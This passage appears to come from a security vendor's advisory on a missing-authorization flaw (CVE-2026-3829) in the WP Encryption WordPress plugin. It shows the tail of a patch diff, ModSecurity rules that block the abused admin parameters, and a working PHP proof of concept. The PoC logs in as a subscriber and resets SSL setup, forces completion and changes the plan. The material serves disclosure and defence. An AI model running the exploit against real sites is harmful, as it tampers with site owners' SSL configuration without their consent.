+        'WPLEClient\LEOrder' => __DIR__ . '/../..' . '/lib/LEOrder.php',
+    );
+
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
             $loader->prefixLengthsPsr4 = ComposerStaticInit8743cf05928ea2a577faad8d8c2c3982::$prefixLengthsPsr4;
             $loader->prefixDirsPsr4 = ComposerStaticInit8743cf05928ea2a577faad8d8c2c3982::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit8743cf05928ea2a577faad8d8c2c3982::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-letsencrypt-ssl/vendor/composer/installed.php
+++ b/wp-letsencrypt-ssl/vendor/composer/installed.php
@@ -3,18 +3,18 @@
         'name' => 'wpencryption/wp-encryption',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'aab632e09f243968f66810e8640a38d4f9c9877c',
-        'type' => 'library',
+        'reference' => 'e9e18c2ded0fb1ba05d5e5d89cbe45ade534eebb',
+        'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
-        'dev' => true,
+        'dev' => false,
     ),
     'versions' => array(
         'wpencryption/wp-encryption' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'aab632e09f243968f66810e8640a38d4f9c9877c',
-            'type' => 'library',
+            'reference' => 'e9e18c2ded0fb1ba05d5e5d89cbe45ade534eebb',
+            'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
             'dev_requirement' => false,
--- a/wp-letsencrypt-ssl/vendor/composer/platform_check.php
+++ b/wp-letsencrypt-ssl/vendor/composer/platform_check.php
@@ -4,8 +4,8 @@

 $issues = array();

-if (!(PHP_VERSION_ID >= 50200)) {
-    $issues[] = 'Your Composer dependencies require a PHP version ">= 5.2.0". You are running ' . PHP_VERSION . '.';
+if (!(PHP_VERSION_ID >= 70000)) {
+    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.0.0". You are running ' . PHP_VERSION . '.';
 }

 if ($issues) {
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/wp-letsencrypt-ssl/wp-letsencrypt.php
+++ b/wp-letsencrypt-ssl/wp-letsencrypt.php
@@ -7,7 +7,7 @@
  * Plugin Name:       WP Encryption - One Click SSL & Force HTTPS
  * Plugin URI:        https://wpencryption.com
  * Description:       Secure your WordPress site with free SSL certificate and force HTTPS. Enable HTTPS padlock. Just activating this plugin won't help! - Please run the SSL install form of WP Encryption found on left panel. Enjoy the NEW Advanced security features including malware scan, vulnerability scan, file integrity monitoring, security hardening & more.
- * Version:           7.8.5.10
+ * Version:           7.8.5.11
  * Author:            WP Encryption SSL HTTPS
  * Author URI:        https://wpencryption.com
  * License:           GNU General Public License v3.0
@@ -34,7 +34,7 @@
  * Definitions
  */
 if ( !defined( 'WPLE_PLUGIN_VER' ) ) {
-    define( 'WPLE_PLUGIN_VER', '7.8.5.10' );
+    define( 'WPLE_PLUGIN_VER', '7.8.5.11' );
 }
 if ( !defined( 'WPLE_BASE' ) ) {
     define( 'WPLE_BASE', plugin_basename( __FILE__ ) );
@@ -62,6 +62,11 @@
 if ( !defined( 'WPLE_DEBUGGER' ) ) {
     define( 'WPLE_DEBUGGER', WPLE_UPLOADS . 'wp_encryption/' );
 }
+// require composer autoloader if present
+$composer_autoload = ( realpath( __DIR__ . '/../vendor/autoload.php' ) ?: __DIR__ . '/../vendor/autoload.php' );
+if ( file_exists( $composer_autoload ) ) {
+    require_once $composer_autoload;
+}
 /**
  * Freemius
  */

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3829
# Blocks unauthorized attempts to reset SSL setup and modify plan selections
# Targets the missing authorization vulnerability in WP Encryption plugin
# This rule requires the attacker to be authenticated, but WAF blocks regardless

# Rule for restart parameter
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261990,phase:2,deny,status:403,chain,msg:'CVE-2026-3829 WP Encryption restart SSL setup attack detected',severity:'CRITICAL',tag:'CVE-2026-3829'"
  SecRule ARGS_GET:restart "@streq 1" "chain"
    SecRule ARGS:page "@streq wp_encryption" "t:none"

# Rule for force_complete parameter (in case it is still present in some installations)
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261991,phase:2,deny,status:403,chain,msg:'CVE-2026-3829 WP Encryption force SSL complete attack detected',severity:'CRITICAL',tag:'CVE-2026-3829'"
  SecRule ARGS_GET:force_complete "@streq 1" "chain"
    SecRule ARGS:page "@streq wp_encryption" "t:none"

# Rule for plan manipulation parameters
SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261992,phase:2,deny,status:403,chain,msg:'CVE-2026-3829 WP Encryption plan manipulation attack detected',severity:'CRITICAL',tag:'CVE-2026-3829'"
  SecRule ARGS_GET:gofree "@streq 1" "chain"
    SecRule ARGS:page "@rx ^$|.*" "t:none"

SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-3829 WP Encryption plan manipulation attack detected',severity:'CRITICAL',tag:'CVE-2026-3829'"
  SecRule ARGS_GET:gopro "@streq 1" "chain"
    SecRule ARGS:page "@rx ^$|.*" "t:none"

SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-3829 WP Encryption plan manipulation attack detected',severity:'CRITICAL',tag:'CVE-2026-3829'"
  SecRule ARGS_GET:gofirewall "@streq 1" "chain"
    SecRule ARGS:page "@rx ^$|.*" "t:none"

SecRule REQUEST_URI "@contains /wp-admin/admin.php" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-3829 WP Encryption plan manipulation attack detected',severity:'CRITICAL',tag:'CVE-2026-3829'"
  SecRule ARGS_GET:gositelock "@streq 1" "chain"
    SecRule ARGS:page "@rx ^$|.*" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3829 - WP Encryption - One Click SSL & Force HTTPS <= 7.8.5.10 - Missing Authorization to SSL Setup Tampering

// Configuration: Set the target WordPress URL and credentials
$target_url = 'http://example.com'; // Change to your target
$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Authenticate as a subscriber
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the missing authorization - reset SSL setup state
$restart_url = $target_url . '/wp-admin/admin.php?page=wp_encryption&restart=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $restart_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); // Do not follow redirects automatically
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Attempted restart of SSL setup. HTTP Code: " . $http_code . "n";
echo "Check if 'wple_ssl_screen' option was deleted.n";

// Step 3: Attempt to force SSL completion (removed in patched version but illustrative)
$force_complete_url = $target_url . '/wp-admin/admin.php?page=wp_encryption&force_complete=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $force_complete_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Attempted force complete of SSL. HTTP Code: " . $http_code . "n";

// Step 4: Modify plan selection (e.g., reset to free)
$plan_url = $target_url . '/wp-admin/admin.php?gofree=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $plan_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Attempted plan modification to free. HTTP Code: " . $http_code . "n";

// Clean up cookie file
unlink('/tmp/cookies.txt');

echo "Proof-of-Concept complete.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School